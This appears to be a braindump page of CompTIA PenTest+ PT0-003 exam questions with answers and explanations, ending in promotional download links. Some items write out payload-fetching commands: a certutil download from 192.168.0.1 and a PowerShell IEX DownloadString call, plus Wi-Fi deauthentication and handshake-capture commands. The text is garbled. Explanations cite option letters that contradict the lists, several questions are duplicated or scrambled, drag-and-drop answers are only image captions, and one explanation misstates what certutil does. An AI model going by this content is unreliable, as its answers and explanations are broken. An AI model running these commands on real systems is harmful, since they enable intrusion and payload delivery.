CompTIA PT0-003 Practice Verified Answers - Pass Your Exams For Sure! [2026]
Valid Way To Pass CompTIA PenTest+'s PT0-003 Exam
CompTIA PT0-003 Exam Syllabus Topics:
| Topic | Details |
|---|---|
| Topic 1 |
|
| Topic 2 |
|
| Topic 3 |
|
| Topic 4 |
|
| Topic 5 |
|
NEW QUESTION # 117
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 118
Which of the following activities should be performed to prevent uploaded web shells from being exploited by others?
- A. Spin down the infrastructure.
- B. Perform secure data destruction.
- C. Remove the persistence mechanisms.
- D. Preserve artifacts.
Answer: C
Explanation:
Web shells allow attackers to maintain unauthorized access to a compromised server. To prevent others from exploiting uploaded web shells, the best action is to remove persistence mechanisms, which may include:
* Deleting the web shell file from the web server.
* Checking scheduled tasks, registry entries, or cron jobs that might reinstall the web shell.
* Reviewing web server configurations to ensure no hidden backdoors exist.
* Revoking unauthorized user accounts or permissions that could be used to reintroduce the web shell.
By removing persistence mechanisms, the attacker's ability to maintain access is eliminated, reducing the risk of further exploitation.
NEW QUESTION # 119
A tester needs to begin capturing WLAN credentials for cracking during an on-site engagement.
Which of the following is the best command to capture handshakes?
- A. aireplay-ng -0 1000 -a <target_mac>
- B. airserv-ng -d <iface>
- C. airodump-ng -c 6 --bssid <target_mac> <iface>
- D. tcpdump -n -s0 -w <pcapname> -i <iface>
Answer: C
Explanation:
airodump-ng is specifically designed to capture WPA/WPA2 handshakes from wireless networks.
The -coption sets the channel, and --bssidspecifies the target access point MAC, ensuring focused capture on a single network for efficient handshake collection.
NEW QUESTION # 120
A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information:
The client is concerned about the availability of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?
- A. Server 4
- B. Server 3
- C. Server 2
- D. Server 1
Answer: B
Explanation:
The client is concerned about the availability of its consumer-facing production application. A perimeter network web server is most likely hosting the public-facing application, making it the highest-priority target for additional manual testing.
Even though other servers (e.g., Developer QA Server) have more vulnerabilities, they are less critical to external users. The web server in the perimeter network is directly exposed to the internet, making it the most likely attack vector affecting availability.
NEW QUESTION # 121
Which of the following components should a penetration tester most likely include in a report at the end of an assessment?
- A. Metrics and measures
- B. Client interviews
- C. Compliance information
- D. Business policies
Answer: A
Explanation:
A penetration tester should most likely include metrics and measures in a report at the end of an assessment. Metrics and measures provide quantitative data that helps in understanding the extent and impact of vulnerabilities found during the assessment. They offer a clear and objective way to convey the results and the effectiveness of the security controls in place. This data-driven approach aids in prioritizing remediation efforts, benchmarking against industry standards, and demonstrating improvements over time.
NEW QUESTION # 122
Which of the following OT protocols sends information in cleartext?
- A. PROFINET
- B. TTEthernet
- C. Modbus
- D. DNP3
Answer: C
Explanation:
Operational Technology (OT) protocols are used in industrial control systems (ICS) to manage and automate physical processes. Here's an analysis of each protocol regarding whether it sends information in cleartext:
TTEthernet (Option A):
Explanation:
Security: It includes mechanisms for reliable and deterministic data transfer, not typically sending information in cleartext.
DNP3 (Option B):
Security: While the original DNP3 protocol transmits data in cleartext, the DNP3 Secure Authentication extensions provide cryptographic security features.
Modbus (answer: C):
Security: Modbus transmits data in cleartext, which makes it susceptible to interception and unauthorized access.
Security: PROFINET includes several security features, including support for encryption, which means it doesn't necessarily send information in cleartext.
Conclusion: Modbus is the protocol that most commonly sends information in cleartext, making it vulnerable to eavesdropping and interception.
Reference:
PROFINET (Option D):
NEW QUESTION # 123
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
Explanation:
A computer screen shot of a computer Description automatically generated
A screen shot of a computer Description automatically generated
A computer screen with white text Description automatically generated
An orange screen with white text Description automatically generated
NEW QUESTION # 124
A penetration tester is getting ready to conduct a vulnerability scan to evaluate an environment that consists of a container orchestration cluster. Which of the following tools would be best to use for this purpose?
- A. Nessus
- B. Trivy
- C. NSE
- D. CME
Answer: B
Explanation:
In a container orchestration environment (for example, Kubernetes), the most valuable vulnerability scanning capability is one that understands container images, packages, and misconfigurations that commonly occur in containerized workloads. Trivy is specifically designed for container security assessment: it scans container images and the underlying OS/application dependencies for known vulnerabilities and can also identify misconfigurations relevant to cloud-native deployments. This aligns closely with PenTest+ guidance that testers should choose tools that match the technology stack being assessed-container ecosystems require image- and dependency-aware scanning rather than only traditional host/service scanning.
NSE (Nmap Scripting Engine) is excellent for network discovery and service enumeration, but it does not provide comprehensive container image vulnerability coverage. Nessus is a general-purpose vulnerability scanner and can be useful for hosts, but it is not as directly focused on container image supply chain issues and cluster workload artifacts as a dedicated container scanner. CrackMapExec (CME) is aimed at Windows
/AD enumeration and lateral movement, not container vulnerability scanning. Therefore, Trivy is the best fit for scanning a container orchestration cluster environment.
NEW QUESTION # 125
A company ' s incident response team determines that a breach occurred because a penetration tester left a web shell. Which of the following should the penetration tester have done after the engagement?
- A. Enable a host-based firewall on the machine
- B. Turn off command-and-control infrastructure
- C. Revert configuration changes made during the engagement
- D. Remove utilized persistence mechanisms on client systems
Answer: D
Explanation:
The immediate and mandatory post-engagement action after completing an authorized penetration test is to remove any accounts, implants, backdoors, web shells, scheduled tasks, or other persistence mechanisms that were created or used during the test. Leaving persistence (a web shell in this case) is exactly what caused the breach and is an unacceptable post-test lapse.
Why B is correct:
Persistence mechanisms provide continued unauthorized access and are a direct security risk if not removed.
Removing them returns the environment to its pre-test security posture and prevents later compromise by third parties.
Removal of persistence is a standard requirement in rules of engagement and in post-test cleanup checklists.
Why the other answers are incomplete or secondary:
A). Enable a host-based firewall on the machine - a reasonable defensive step if missing, but it does not replace removing the persistence that was the cause of the breach.
C). Revert configuration changes made during the engagement - also important and should be done, but the highest priority is removing active persistence that gives access. (Both B and C are valid cleanup activities; B is the single best answer given the question.) D). Turn off command-and-control infrastructure - this is appropriate for the tester's own infrastructure, but the critical action on the client side is removing client-side persistence. Also, turning off C2 after the test is expected, but will not remediate the remaining web shell on the client.
CompTIA PT0-003 Mapping:
Domain 5.0 Reporting and Communication - post-engagement cleanup and handoff (remediation actions, removal of test artifacts, maintaining chain of custody and evidence, and returning environment to agreed baseline).
NEW QUESTION # 126
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops. Which of the following technical controls should the tester recommend to reduce the risk of compromise?
- A. Patch management
- B. Network segmentation
- C. System hardening
- D. Multifactor authentication
Answer: C
Explanation:
When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening. Here's why:
System Hardening:
Purpose: System hardening involves securing systems by reducing their surface of vulnerability. This includes disabling unnecessary services, applying security patches, and configuring systems securely.
Impact: By disabling unused services, the attack surface is minimized, reducing the risk of these services being exploited by attackers.
Comparison with Other Controls:
Multifactor Authentication (A): While useful for securing authentication, it does not address the issue of unused services running on the system.
Patch Management (B): Important for addressing known vulnerabilities but not specifically related to disabling unused services.
Network Segmentation (D): Helps in containing breaches but does not directly address the issue of unnecessary services.
System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.
NEW QUESTION # 127
A penetration tester establishes an initial reverse shell in the perimeter network on a Linux-based host. The tester finds a NetworkService credential that is suitable for reuse and needs to pivot.
Which of the following is the best way to accomplish the task?
- A. Use tcpdump to examine traffic going in and out of the host.
- B. Locate multihomed devices on the subnet, then use proxychains.
- C. Execute whoami on the host to validate user privileges.
- D. Use the nc utility to drop additional files on a disk for later execution.
Answer: B
Explanation:
Pivoting requires leveraging a system that has connectivity to multiple networks. Identifying multihomed devices allows the tester to route traffic through the compromised host into other network segments, and proxychains enables forwarding connections through that pivot point.
NEW QUESTION # 128
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access.
Which of the following commands should the penetration tester use?
- A. rundll32.exe c:\path\foo.dll,functName
- B. powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
- C. powershell.exe impo C:\tools\foo.ps1
- D. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
Answer: D
Explanation:
To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here's why:
Using certutil.exe:
Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.
Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.
Comparison with Other Commands:
powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.
powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/") (C): Incorrect syntax for downloading and executing a script.
rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.
Using certutil.exe to download and execute a payload is a common and effective method.
NEW QUESTION # 129
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops. Which of the following technical controls should the tester recommend to reduce the risk of compromise?
- A. Patch management
- B. Network segmentation
- C. System hardening
- D. Multifactor authentication
Answer: C
Explanation:
When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening. Here's why:
* System Hardening:
* Purpose: System hardening involves securing systems by reducing their surface of vulnerability.
This includes disabling unnecessary services, applying security patches, and configuring systems securely.
* Impact: By disabling unused services, the attack surface is minimized, reducing the risk of these services being exploited by attackers.
* Comparison with Other Controls:
* Multifactor Authentication (A): While useful for securing authentication, it does not address the issue of unused services running on the system.
* Patch Management (B): Important for addressing known vulnerabilities but not specifically related to disabling unused services.
* Network Segmentation (D): Helps in containing breaches but does not directly address the issue of unnecessary services.
System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.
NEW QUESTION # 130
Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?
- A. Site survey
- B. Shoulder surfing
- C. Badge cloning
- D. Tailgating
Answer: D
Explanation:
Tailgating is the term used to describe a situation where a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee.
Explanation:
* Tailgating:
* Definition: Tailgating occurs when an unauthorized person follows an authorized person into a restricted area without the latter's consent or knowledge. The authorized person typically opens a door or checkpoint, and the unauthorized person slips in behind them.
* Example: An attacker waits near the entrance of a building and enters right after an employee, bypassing security measures.
* Physical Security:
* Importance: Physical security is a crucial aspect of overall security posture. Tailgating exploits human factors and weaknesses in physical security controls.
* Prevention: Security measures such as turnstiles, mantraps, and security personnel can help prevent tailgating.
* Pentest References:
* Physical Penetration Testing: Tailgating is a common technique used in physical penetration tests to assess the effectiveness of an organization's physical security controls.
* Social Engineering: Tailgating often involves social engineering, where the attacker relies on the politeness or unawareness of the employee to gain unauthorized access.
By understanding and using tailgating, penetration testers can evaluate the effectiveness of an organization's physical security measures and identify potential vulnerabilities that could be exploited by malicious actors.
NEW QUESTION # 131
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops. Which of the following technical controls should the tester recommend to reduce the risk of compromise?
- A. Patch management
- B. Network segmentation
- C. System hardening
- D. Multifactor authentication
Answer: C
Explanation:
When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening. Here's why:
* System Hardening:
* Purpose: System hardening involves securing systems by reducing their surface of vulnerability.
This includes disabling unnecessary services, applying security patches, and configuring systems securely.
* Impact: By disabling unused services, the attack surface is minimized, reducing the risk of these services being exploited by attackers.
* Comparison with Other Controls:
* Multifactor Authentication (A): While useful for securing authentication, it does not address the issue of unused services running on the system.
* Patch Management (B): Important for addressing known vulnerabilities but not specifically related to disabling unused services.
* Network Segmentation (D): Helps in containing breaches but does not directly address the issue of unnecessary services.
System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.
NEW QUESTION # 132
Which of the following is most important when communicating the need for vulnerability remediation to a client at the conclusion of a penetration test?
- A. Articulation of escalation
- B. Articulation of impact
- C. Articulation of alignment
- D. Articulation of cause
Answer: B
Explanation:
When concluding a penetration test, effectively communicating the need for vulnerability remediation is crucial. Here's why the articulation of impact is the most important aspect:
Articulation of Cause (Option A):
Importance: While understanding the cause is essential for long-term remediation and prevention, it does not directly convey the urgency or potential consequences of the vulnerabilities.
Articulation of Impact (Option B):
Importance: The impact provides the client with a clear understanding of the severity and urgency of the issues. It helps prioritize remediation efforts based on the potential damage that could be inflicted if the vulnerabilities are exploited.
Importance: While escalation paths are important to understand, they are part of the broader impact assessment. They explain how an attacker might exploit the vulnerability further but do not convey the immediate risk as clearly as impact.
Articulation of Alignment (Option D):
Importance: Alignment is useful for ensuring that remediation efforts are in line with the client's strategic goals and regulatory requirements. However, it still doesn't highlight the immediate urgency and potential damage like the articulation of impact does.
Conclusion: Articulating the impact of vulnerabilities is the most crucial element when communicating the need for remediation. By clearly explaining the potential risks and consequences, penetration testers can effectively convey the urgency and importance of addressing the discovered issues, thus motivating clients to take prompt and appropriate action.
Reference:
Articulation of Escalation (Option C):
NEW QUESTION # 133
A penetration tester is conducting an assessment of a web application's login page. The tester needs to determine whether there are any hidden form fields of interest. Which of the following is the most effective technique?
- A. XSS
- B. SQL injection
- C. On-path attack
- D. HTML scraping
Answer: D
Explanation:
Hidden form fields in web applications can store user roles, session tokens, and security parameters that attackers may exploit.
HTML scraping (Option D):
Involves analyzing HTML source code to find hidden fields like:
<input type="hidden" name="admin_access" value="true">
Attackers use tools like Burp Suite, ZAP, or browser developer tools (Ctrl+U or Inspect Element) to locate hidden fields.
Reference:
Incorrect options:
Option A (XSS): Exploits JavaScript injection, not for finding hidden fields.
Option B (On-path attack): Involves MITM interception, not directly analyzing form fields.
Option C (SQL injection): Targets databases, not HTML forms
NEW QUESTION # 134
......
CompTIA PT0-003 Pre-Exam Practice Tests | PrepAwayExam: https://www.prepawayexam.com/CompTIA/braindumps.PT0-003.ete.file.html
PT0-003 practice test questions, answers, explanations: https://drive.google.com/open?id=1sfGseo-Iepj1-T0UjUPWObEtB-ky3Vud